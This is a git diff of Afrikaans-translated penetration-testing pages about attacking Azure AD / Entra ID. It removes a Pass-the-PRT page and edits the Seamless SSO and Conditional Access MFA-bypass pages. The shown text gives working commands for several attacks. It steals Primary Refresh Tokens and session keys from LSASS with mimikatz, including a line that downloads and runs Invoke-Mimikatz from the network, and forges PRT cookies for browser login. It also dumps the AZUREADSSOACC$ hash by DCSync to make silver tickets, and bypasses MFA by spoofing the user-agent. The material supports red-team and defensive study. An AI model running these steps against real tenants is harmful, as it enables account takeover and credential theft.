-$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
-$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
-
-$Params = @{
-"URI"     = $URL
-"Method"  = "POST"
-}
-$Body = @{
-"grant_type" = "srv_challenge"
-}
-$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
-$Result.Nonce
-AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
-```
-Of deur [**roadrecon**](https://github.com/dirkjanm/ROADtools):
-```bash
-roadrecon auth prt-init
-```
-Dan kan jy [**roadtoken**](https://github.com/dirkjanm/ROADtoken) gebruik om 'n nuwe PRT te verkry (voer die hulpmiddel uit vanaf 'n proses van die gebruiker om aan te val):
-```bash
-.\ROADtoken.exe <nonce>
-```
-As 'n eenlyn:
-```bash
-Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
-```
-Dan kan jy die **gegenereerde koekie** gebruik om **tokens** te **genereer** om in te **log** met Azure AD **Graph** of Microsoft Graph:
-```bash
-# Generate
-roadrecon auth --prt-cookie <prt_cookie>
-
-# Connect
-Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
-```
-### Aanval - Gebruik roadrecon
-
-### Aanval - Gebruik AADInternals en 'n gelekte PRT
-
-`Get-AADIntUserPRTToken` **kry die gebruiker se PRT-token** van die Azure AD-verbinde of Hibrid-verbinde rekenaar. Gebruik `BrowserCore.exe` om die PRT-token te kry.
-```bash
-# Get the PRToken
-$prtToken = Get-AADIntUserPRTToken
-
-# Get an access token for AAD Graph API and save to cache
-Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
-```
-Of as jy die waardes van Mimikatz het, kan jy ook AADInternals gebruik om 'n token te genereer:
-```bash
-# Mimikat "PRT" value
-$MimikatzPRT="MC5BWU..."
-
-# Add padding
-while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}
-
-# Decode
-$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
-
-# Mimikatz "Clear key" value
-$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"
-
-# Convert to Byte array and B64 encode
-$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))
-
-# Generate PRTToken with Nonce
-$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
-$prtToken
-## You can already use this token ac cookie in the browser
-
-# Get access token from prtToken
-$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
-
-# Verify access and connect with Az. You can see account id in mimikatz prt output
-Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
-```
-Gaan na [https://login.microsoftonline.com](https://login.microsoftonline.com), maak alle koekies vir login.microsoftonline.com skoon en voer 'n nuwe koekie in.
-```
-Name: x-ms-RefreshTokenCredential
-Value: [Paste your output from above]
-Path: /
-HttpOnly: Set to True (checked)
-```
-Dan gaan na [https://portal.azure.com](https://portal.azure.com)
-
-> [!CAUTION]
-> Die res behoort die verstekinstellings te wees. Maak seker jy kan die bladsy verfris en die koekie verdwyn nie, as dit wel gebeur, het jy dalk 'n fout gemaak en moet die proses weer deurgaan. As dit nie gebeur nie, behoort jy reg te wees.
-
-### Aanval - Mimikatz
-
-#### Stappe
-
-1. Die **PRT (Primêre Verfrisings Teken) word uit LSASS** (Plaaslike Sekuriteitsowerheid Substelseldiens) onttrek en gestoor vir latere gebruik.
-2. Die **Sessie Sleutel word volgende onttrek**. Aangesien hierdie sleutel aanvanklik uitgereik word en dan weer deur die plaaslike toestel her-enkripteer word, vereis dit ontsleuteling met 'n DPAPI meester sleutel. Gedetailleerde inligting oor DPAPI (Data Protection API) kan in hierdie hulpbronne gevind word: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) en vir 'n begrip van die toepassing daarvan, verwys na [Pass-the-cookie aanval](az-pass-the-cookie.md).
-3. Na ontsleuteling van die Sessie Sleutel, word die **afgeleide sleutel en konteks vir die PRT verkry**. Hierdie is noodsaaklik vir die **skepping van die PRT koekie**. Spesifiek, die afgeleide sleutel word gebruik om die JWT (JSON Web Token) wat die koekie vorm, te teken. 'n Omvattende verduideliking van hierdie proses is deur Dirk-jan verskaf, beskikbaar [hier](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
-
-> [!CAUTION]
-> Let daarop dat as die PRT binne die TPM is en nie binne `lsass` nie, **sal mimikatz nie in staat wees om dit te onttrek nie**.\
-> Dit sal egter moontlik wees om 'n **sleutel van 'n afgeleide sleutel uit 'n konteks** van die TPM te kry en dit te gebruik om 'n **koekie te teken (kyk na opsie 3).**
-
-Jy kan 'n **in-diepte verduideliking van die uitgevoerde proses** om hierdie besonderhede te onttrek hier vind: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
-
-> [!WARNING]
-> Dit sal nie presies werk na die Augustus 2021 regstellings om ander gebruikers se PRT tokens te verkry nie, aangesien slegs die gebruiker sy PRT kan verkry (n plaaslike admin kan nie ander gebruikers se PRTs toegang nie), maar kan syne toegang.
-
-Jy kan **mimikatz** gebruik om die PRT te onttrek:
-```bash
-mimikatz.exe
-Privilege::debug
-Sekurlsa::cloudap
-
-# Or in powershell
-iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
-Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
-```
-(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
-
-<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
-
-**Kopieer** die deel gemerk **Prt** en stoor dit.\
-Onttrek ook die sessiesleutel (die **`KeyValue`** van die **`ProofOfPossesionKey`** veld) wat jy hieronder gemerk kan sien. Dit is versleuteld en ons sal ons DPAPI meester sleutels moet gebruik om dit te ontsleutel.
-
-<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
-
-> [!NOTE]
-> As jy nie enige PRT-data sien nie, kan dit wees dat jy **nie enige PRT's het nie** omdat jou toestel nie Azure AD-verbonden is nie of dit kan wees dat jy **'n ou weergawe** van Windows 10 gebruik.
-
-Om die sessiesleutel te **ontsleutel** moet jy jou regte **verhoog** na **SYSTEM** om onder die rekenaar konteks te loop om die **DPAPI meester sleutel te gebruik om dit te ontsleutel**. Jy kan die volgende opdragte gebruik om dit te doen:
-```
-token::elevate
-dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
-```
-<figure><img src="../../../images/image (183).png" alt=""><figcaption></figcaption></figure>
-
-#### Opsie 1 - Volledige Mimikatz
-
-- Nou wil jy beide die Konteks waarde kopieer:
-
-<figure><img src="../../../images/image (210).png" alt=""><figcaption></figcaption></figure>
-
-- En die afgeleide sleutel waarde:
-
-<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>
-
-- Laastens kan jy al hierdie inligting gebruik om **PRT koekies te genereer**:
-```bash
-Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
-```
-<figure><img src="../../../images/image (282).png" alt=""><figcaption></figcaption></figure>
-
-- Gaan na [https://login.microsoftonline.com](https://login.microsoftonline.com), verwyder alle koekies vir login.microsoftonline.com en voer 'n nuwe koekie in.
-```
-Name: x-ms-RefreshTokenCredential
-Value: [Paste your output from above]
-Path: /
-HttpOnly: Set to True (checked)
-```
-- Gaan dan na [https://portal.azure.com](https://portal.azure.com)
-
-> [!CAUTION]
-> Die res moet die standaardinstellings wees. Maak seker jy kan die bladsy verfris en die koekie verdwyn nie, as dit wel gebeur, het jy dalk 'n fout gemaak en moet die proses weer deurgaan. As dit nie gebeur nie, behoort jy reg te wees.
-
-#### Opsie 2 - roadrecon met PRT
-
-- Vernuw eerstens die PRT, wat dit in `roadtx.prt` sal stoor:
-```bash
-roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
-```
-- Nou kan ons **tokens versoek** met die interaktiewe blaaiertjie met `roadtx browserprtauth`. As ons die `roadtx describe` opdrag gebruik, sien ons dat die toegangstoken 'n MFA-eis insluit omdat die PRT wat ek in hierdie geval gebruik het ook 'n MFA-eis gehad het.
-```bash
-roadtx browserprtauth
-roadtx describe < .roadtools_auth
-```
-<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
-
-#### Opsie 3 - roadrecon met afgeleide sleutels
-
-Met die konteks en die afgeleide sleutel wat deur mimikatz gestort is, is dit moontlik om roadrecon te gebruik om 'n nuwe geskrewe koekie te genereer met:
-```bash
-roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
-```
-## Verwysings
-
-- [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/)
-- [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
-- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md

@@ -4,7 +4,7 @@
 
 ## Basiese Inligting
 
-[Uit die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) teken **gebruikers outomaties in wanneer hulle op hul korporatiewe toestelle** wat aan jou korporatiewe netwerk gekoppel is. Wanneer dit geaktiveer is, **hoef gebruikers nie hul wagwoorde in te tik om in te teken op Azure AD nie**, en gewoonlik, selfs nie hul gebruikersname nie. Hierdie funksie bied jou gebruikers maklike toegang tot jou wolk-gebaseerde toepassings sonder dat enige addisionele plaaslike komponente benodig word.
+[Uit die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) teken **gebruikers outomaties in wanneer hulle op hul korporatiewe toestelle** wat aan jou korporatiewe netwerk gekoppel is. Wanneer geaktiveer, **hoef gebruikers nie hul wagwoorde in te tik om in te teken by Azure AD nie**, en gewoonlik, selfs nie hul gebruikersname nie. Hierdie funksie bied jou gebruikers maklike toegang tot jou wolk-gebaseerde toepassings sonder dat enige addisionele plaaslike komponente benodig word.
 
 <figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
 
@@ -12,11 +12,11 @@ Basies teken Azure AD Seamless SSO **gebruikers** in wanneer hulle **op 'n plaas
 
 Dit word deur beide [**PHS (Wagwoord Hash Sync)**](phs-password-hash-sync.md) en [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md) ondersteun.
 
-Desktop SSO gebruik **Kerberos** vir verifikasie. Wanneer dit geconfigureer is, skep Azure AD Connect 'n **rekenaarrekening genaamd `AZUREADSSOACC$`** in plaaslike AD. Die wagwoord van die `AZUREADSSOACC$` rekening word **as platte teks na Entra ID gestuur** tydens die konfigurasie.
+Desktop SSO gebruik **Kerberos** vir verifikasie. Wanneer geconfigureer, skep Azure AD Connect 'n **rekenaarrekening genaamd `AZUREADSSOACC$`** in plaaslike AD. Die wagwoord van die `AZUREADSSOACC$` rekening word **as platte teks na Entra ID gestuur** tydens die konfigurasie.
 
-Die **Kerberos kaartjies** is **geënkripteer** met die **NTHash (MD4)** van die wagwoord en Entra ID gebruik die gestuurde wagwoord om die kaartjies te ontsleutel.
+Die **Kerberos kaartjies** is **geënkripteer** met behulp van die **NTHash (MD4)** van die wagwoord en Entra ID gebruik die gestuurde wagwoord om die kaartjies te ontsleutel.
 
-**Entra ID** stel 'n **eindpunt** (https://autologon.microsoftazuread-sso.com) beskikbaar wat Kerberos **kaartjies** aanvaar. Die blaaiert van die domein-verbonden masjien stuur die kaartjies na hierdie eindpunt vir SSO.
+**Entra ID** stel 'n **eindpunt** (https://autologon.microsoftazuread-sso.com) beskikbaar wat Kerberos **kaartjies** aanvaar. Die blaaier van die domein-verbonden masjien stuur die kaartjies na hierdie eindpunt vir SSO.
 
 ### Enumerasie
 ```bash
@@ -37,19 +37,19 @@ $searcher.FindOne()
 ## Pivoting: On-prem -> cloud
 
 > [!WARNING]
-> Die belangrikste ding om te weet oor hierdie aanval is dat om net die TGT of 'n spesifieke TGS van 'n gebruiker wat gesinkroniseer is met Entra ID te hê, genoeg is om toegang tot die wolkbronne te verkry.\
+> Die belangrikste ding om te weet oor hierdie aanval is dat net die besit van die TGT of 'n spesifieke TGS van 'n gebruiker wat gesinkroniseer is met Entra ID genoeg is om toegang tot die wolkbronne te verkry.\
 > Dit is omdat dit 'n kaartjie is wat 'n gebruiker toelaat om in die wolk aan te meld.
 
 Om daardie TGS-kaartjie te verkry, moet die aanvaller een van die volgende hê:
 - **'n Gecompromitteerde gebruiker se TGS:** As jy 'n gebruiker se sessie met die kaartjie na `HTTP/autologon.microsoftazuread-sso.com` in geheue kompromitteer, kan jy dit gebruik om toegang tot die wolkbronne te verkry.
-- **'n Gecompromitteerde gebruiker se TGT:** Selfs as jy nie een het nie, maar die gebruiker was gecompromitteer, kan jy een kry deur 'n vals TGT-delegasie truuk wat in baie gereedskap soos [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) en [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9) geïmplementeer is.
+- **'n Gecompromitteerde gebruiker se TGT:** Selfs as jy nie een het nie, maar die gebruiker was gecompromitteer, kan jy een kry deur 'n vals TGT-delegasie-truk te gebruik wat in baie gereedskap geïmplementeer is soos [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) en [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
 - **'n Gecompromitteerde gebruiker se hash of wagwoord:** SeamlessPass sal met die domeinbeheerder kommunikeer met hierdie inligting om die TGT te genereer en dan die TGS.
 - **'n goue kaartjie:** As jy die KRBTGT-sleutel het, kan jy die TGT wat jy vir die aangevalde gebruiker nodig het, skep.
 - **Die AZUREADSSOACC$ rekening hash of wagwoord:** Met hierdie inligting en die gebruiker se Veiligheidsidentifiseerder (SID) om aan te val, is dit moontlik om 'n dienskaartjie te skep en met die wolk te autentiseer (soos in die vorige metode uitgevoer).
 
 ### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
 
-Soos [in hierdie blogpos verduidelik](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), is dit baie maklik om enige van die vorige vereistes te hê en net die gereedskap **SeamlessPass** te gebruik om toegang tot die wolkbronne as die gecompromitteerde gebruiker, of as enige gebruiker as jy die **`AZUREADSSOACC$`** rekening hash of wagwoord het.
+Soos [verduidelik in hierdie blogpos](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), is dit baie maklik om net die gereedskap **SeamlessPass** te gebruik om toegang tot die wolkbronne te verkry as die gecompromitteerde gebruiker, of as enige gebruiker as jy die **`AZUREADSSOACC$`** rekening hash of wagwoord het.
 
 Laastens, met die TGT is dit moontlik om die gereedskap [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) te gebruik met:
 ```bash
@@ -69,7 +69,7 @@ Verder inligting om Firefox op te stel om met naatlose SSO te werk te gaan kan [
 
 ### Kry hashes van die AZUREADSSOACC$ rekening
 
-Die **wagwoord** van die gebruiker **`AZUREADSSOACC$` verander nooit**. Daarom kan 'n domeinadmin die **hash van hierdie rekening** kompromitteer, en dit dan gebruik om **silwer kaartjies** te skep om met **enige on-prem gebruiker gesinkroniseer** aan Azure te koppel:
+Die **wagwoord** van die gebruiker **`AZUREADSSOACC$` verander nooit**. Daarom kan 'n domeinadmin die **hash van hierdie rekening** kompromitteer, en dit dan gebruik om **silwer kaartjies** te skep om met **enige on-prem gebruiker gesinkroniseer** aan Azure te verbind:
 ```bash
 # Dump hash using mimikatz
 Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
@@ -93,7 +93,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
 
 #### Creating Silver Tickets
 
-Met die hash kan jy nou **generate silver tickets**:
+Met die hash kan jy nou **silver tickets** **genereer**:
 ```bash
 # Get users and SIDs
 Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
@@ -117,12 +117,12 @@ Om die silwer kaartjie te gebruik, moet die volgende stappe uitgevoer word:
 - Navigeer na **`about:config`**.
 - Stel die voorkeur vir [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) op die gespesifiseerde [waarde](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
 - `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
-- Navigeer na Firefox `Settings` > Soek vir `Allow Windows single sign-on for Microsoft, work and school accounts` en aktiveer dit.
+- Navigeer na Firefox `Settings` > Soek vir `Allow Windows single sign-on for Microsoft, work and school accounts` en stel dit in.
 3. **Toegang tot die Webtoepassing:**
 - Besoek 'n webtoepassing wat geïntegreer is met die organisasie se AAD-domein. 'n Algemene voorbeeld is [login.microsoftonline.com](https://login.microsoftonline.com/).
 4. **Verifikasieproses:**
 - By die aanmeldskerm moet die gebruikersnaam ingevoer word, terwyl die wagwoordveld leeg gelaat word.
-- Om voort te gaan, druk óf TAB óf ENTER.
+- Om voort te gaan, druk TAB of ENTER.
 
 > [!WARNING]
 > Dit **omseil nie MFA as dit geaktiveer is** in die gebruiker nie.
@@ -171,9 +171,9 @@ Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
 U kan nou die **TGS gebruik om toegang tot Azure hulpbronne te verkry as die geïmpersonifieerde gebruiker.**
 
 
-### ~~Skep Kerberos-kaarte vir slegs-cloud gebruikers~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
+### ~~Skep Kerberos kaartjies vir slegs-cloud gebruikers~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
 
-As die Active Directory administrateurs toegang tot Azure AD Connect het, kan hulle **SID vir enige cloud-gebruiker stel**. Op hierdie manier kan Kerberos **kaarte** ook **vir slegs-cloud gebruikers geskep word**. Die enigste vereiste is dat die SID 'n behoorlike [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>) is.
+As die Active Directory administrateurs toegang tot Azure AD Connect het, kan hulle **SID vir enige cloud-gebruiker stel**. Op hierdie manier kan Kerberos **kaartjies** ook **vir slegs-cloud gebruikers geskep word**. Die enigste vereiste is dat die SID 'n behoorlike [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
 
 > [!CAUTION]
 > Die verandering van SID van slegs-cloud admin gebruikers is nou **geblokkeer deur Microsoft**.\

src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md

@@ -9,10 +9,10 @@ Voorwaardelike toegang beleide **definieer** basies **Wie** kan toegang hê tot
 
 Hier is 'n paar voorbeelde:
 
-1. **Aanmeld Risiko Beleid**: Hierdie beleid kan ingestel word om multi-faktor verifikasie (MFA) te vereis wanneer 'n aanmeld risiko opgespoor word. Byvoorbeeld, as 'n gebruiker se aanmeldgedrag ongewoon is in vergelyking met hul gereelde patroon, soos om van 'n ander land aan te meld, kan die stelsel vra vir addisionele verifikasie.
-2. **Toestel Nakoming Beleid**: Hierdie beleid kan toegang tot Azure-dienste beperk slegs tot toestelle wat voldoen aan die organisasie se sekuriteitsstandaarde. Byvoorbeeld, toegang kan slegs toegestaan word vanaf toestelle wat op datum antivirus sagteware het of 'n sekere bedryfstelsel weergawe draai. 
+1. **Aanmeld Risiko Beleid**: Hierdie beleid kan ingestel word om multi-faktor verifikasie (MFA) te vereis wanneer 'n aanmeld risiko opgespoor word. Byvoorbeeld, as 'n gebruiker se aanmeldgedrag ongewoon is in vergelyking met hul gereelde patroon, soos om van 'n ander land aan te meld, kan die stelsel vra om addisionele verifikasie.
+2. **Toestel Nakoming Beleid**: Hierdie beleid kan toegang tot Azure-dienste beperk slegs tot toestelle wat voldoen aan die organisasie se sekuriteitsstandaarde. Byvoorbeeld, toegang kan slegs toegelaat word vanaf toestelle wat op datum antivirus sagteware het of 'n sekere bedryfstelsel weergawe draai. 
 
-## Enumerasie
+## Opsomming
 ```bash
 # Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
 az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'
@@ -22,33 +22,33 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona
 ```
 ## Voorwaardelike Toegang Beleid Omseilings
 
-Dit is moontlik dat 'n voorwaardelike toegang beleid **inligting nagaan wat maklik gemanipuleer kan word, wat 'n omseiling van die beleid moontlik maak**. En as die beleid byvoorbeeld MFA gekonfigureer het, sal die aanvaller in staat wees om dit te omseil.
+Dit is moontlik dat 'n voorwaardelike toegang beleid **sekere inligting nagaan wat maklik gemanipuleer kan word, wat 'n omseiling van die beleid moontlik maak**. En as die beleid byvoorbeeld MFA gekonfigureer het, sal die aanvaller in staat wees om dit te omseil.
 
 Wanneer 'n voorwaardelike toegang beleid gekonfigureer word, is dit nodig om die **gebruikers** wat geraak word en **teikenbronne** (soos alle wolk toepassings) aan te dui.
 
 Dit is ook nodig om die **voorwaardes** te konfigureer wat die beleid sal **aktiveer**:
 
 - **Netwerk**: IP, IP-reekse en geografiese liggings
-- Kan omseil word deur 'n VPN of Proxy te gebruik om met 'n land te verbind of deur te probeer aanmeld vanaf 'n toegelate IP-adres
+- Kan omgegaan word deur 'n VPN of Proxy te gebruik om met 'n land te verbind of te probeer aanmeld vanaf 'n toegelate IP-adres
 - **Microsoft risiko's**: Gebruiker risiko, Aanmeld risiko, Insider risiko
 - **Toestel platforms**: Enige toestel of kies Android, iOS, Windows phone, Windows, macOS, Linux
-- As “Enige toestel” nie gekies is nie, maar al die ander opsies gekies is, is dit moontlik om dit te omseil deur 'n ewekansige gebruiker-agent te gebruik wat nie met daardie platforms verband hou nie
+- As “Enige toestel” nie gekies is nie, maar al die ander opsies gekies is, is dit moontlik om dit te omseil deur 'n ewekansige gebruikersagent te gebruik wat nie met daardie platforms verband hou nie
 - **Kliënt toepassings**: Opsies is “Blaaier”, “Mobiele toepassings en desktop kliënte”, “Exchange ActiveSync kliënte” en Ander kliënte”
 - Om aanmelding te omseil met 'n nie-geselecteerde opsie
 - **Filter vir toestelle**: Dit is moontlik om 'n reël te genereer wat verband hou met die gebruikte toestel
 - **Verifikasie vloei**: Opsies is “Toestel kode vloei” en “Verifikasie oordrag”
 - Dit sal nie 'n aanvaller beïnvloed nie, tensy hy probeer om enige van daardie protokolle in 'n phishing poging te misbruik om toegang tot die slagoffer se rekening te verkry
 
-Die moontlike **resultate** is: Blokkeer of Gee toegang met potensiële voorwaardes soos vereis MFA, toestel moet voldoen aan...
+Die moontlike **resultate** is: Blokkeer of Gee toegang met potensiële voorwaardes soos vereis MFA, toestel moet voldoen...
 
 ### Toestel Platforms - Toestel Voorwaarde
 
-Dit is moontlik om 'n voorwaarde in te stel gebaseer op die **toestel platform** (Android, iOS, Windows, macOS...), egter, dit is gebaseer op die **gebruiker-agent** so dit is maklik om te omseil. Selfs **om al die opsies MFA af te dwing**, as jy 'n **gebruiker-agent gebruik wat nie erken word nie,** sal jy in staat wees om die MFA of blokkeer te omseil:
+Dit is moontlik om 'n voorwaarde in te stel gebaseer op die **toestel platform** (Android, iOS, Windows, macOS...), egter, dit is gebaseer op die **gebruikersagent** so dit is maklik om te omseil. Selfs **al die opsies MFA afdwing**, as jy 'n **gebruikersagent wat nie erken word nie,** gebruik, sal jy in staat wees om die MFA of blokkeer te omseil:
 
 <figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
 
-Net om die blaaier **'n onbekende gebruiker-agent te laat stuur** (soos `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) is genoeg om hierdie voorwaarde nie te aktiveer nie.\
-Jy kan die gebruiker-agent **handmatig** in die ontwikkelaar gereedskap verander:
+Net om die blaaier **'n onbekende gebruikersagent te laat stuur** (soos `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) is genoeg om hierdie voorwaarde nie te aktiveer nie.\
+Jy kan die gebruikersagent **handmatig** in die ontwikkelaar gereedskap verander:
 
 <figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
 
@@ -64,8 +64,8 @@ Dit is moontlik om **voorwaardelike toegang beleid te konfigureer om te blokkeer
 
 <figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
 
-Om te probeer om hierdie beskerming te omseil, moet jy kyk of jy **net in enige toepassing** kan.\
-Die hulpmiddel [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) het **tens of toepassings-ID's hardgecodeer** en sal probeer om in hulle aan te meld en jou laat weet en selfs die token gee as dit suksesvol is.
+Om hierdie beskerming te probeer omseil, moet jy kyk of jy **net in enige toepassing** kan.\
+Die hulpmiddel [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) het **talle toepassings-ID's hardgecodeer** en sal probeer om in hulle aan te meld en jou laat weet en selfs die token gee as dit suksesvol is.
 
 Om **spesifieke toepassings-ID's in spesifieke bronne te toets**, kan jy ook 'n hulpmiddel soos gebruik:
 ```bash
@@ -83,7 +83,7 @@ Die hulpmiddel [**ROPCI**](https://github.com/wunderwuzzi23/ropci) kan ook gebru
 
 ### Ringtone
 
-Een Azure MFA opsie is om **'n oproep in die geconfigureerde telefoonnommer te ontvang** waar die gebruiker gevra sal word om **die karakter `#` te stuur**.
+Een Azure MFA opsie is om **'n oproep te ontvang op die geconfigureerde telefoonnommer** waar die gebruiker gevra sal word om die karakter `#` **te stuur**.
 
 > [!CAUTION]
 > Aangesien karakters net **tones** is, kan 'n aanvaller die **voicemail** boodskap van die telefoonnommer **kompromitteer**, die boodskap as die **toon van `#`** konfigureer en dan, wanneer die MFA aangevra word, seker maak dat die **slagoffer se telefoon besig is** (dit bel) sodat die Azure oproep na die voicemail omgelei word.
@@ -105,16 +105,16 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
 Vind meer inligting oor hierdie tipe aanval op die volgende bladsy:
 
 {{#ref}}
-../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
+../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
 {{#endref}}
 
 ## Gereedskap
 
 ### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
 
-Hierdie skrip verkry 'n paar gebruikersakkrediteer en kyk of dit kan aanmeld in sommige toepassings.
+Hierdie skrip verkry 'n paar gebruikersakkrediteer en kyk of dit kan aanmeld in 'n paar toepassings.
 
-Dit is nuttig om te sien of jy **nie MFA benodig om aan te meld in sommige toepassings nie** wat jy later mag misbruik om **privilegies te verhoog**.
+Dit is nuttig om te sien of jy **nie MFA benodig om aan te meld in 'n paar toepassings nie** wat jy later mag misbruik om **privilegies te verhoog**.
 
 ### [roadrecon](https://github.com/dirkjanm/ROADtools)
 
@@ -124,14 +124,14 @@ roadrecon plugin policies
 ```
 ### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
 
-MFASweep is 'n PowerShell-skrip wat probeer om **in te log op verskeie Microsoft-dienste met 'n verskafde stel geloofsbriewe en sal probeer om te identifiseer of MFA geaktiveer is**. Afhangende van hoe voorwaardelike toegangbeleide en ander multi-faktor verifikasie-instellings geconfigureer is, kan sommige protokolle eindig as enkel-faktor. Dit het ook 'n addisionele kontrole vir ADFS-konfigurasies en kan probeer om in te log op die on-prem ADFS-bediener indien opgespoor.
+MFASweep is 'n PowerShell-skrip wat probeer om **in te log op verskeie Microsoft-dienste met 'n verskafde stel geloofsbriewe en sal probeer om te identifiseer of MFA geaktiveer is**. Afhangende van hoe voorwaardelike toegangsbeleide en ander multi-faktor verifikasie-instellings geconfigureer is, kan sommige protokolle eindig as 'n enkele faktor. Dit het ook 'n addisionele kontrole vir ADFS-konfigurasies en kan probeer om in te log op die plaaslike ADFS-bediener indien opgespoor.
 ```bash
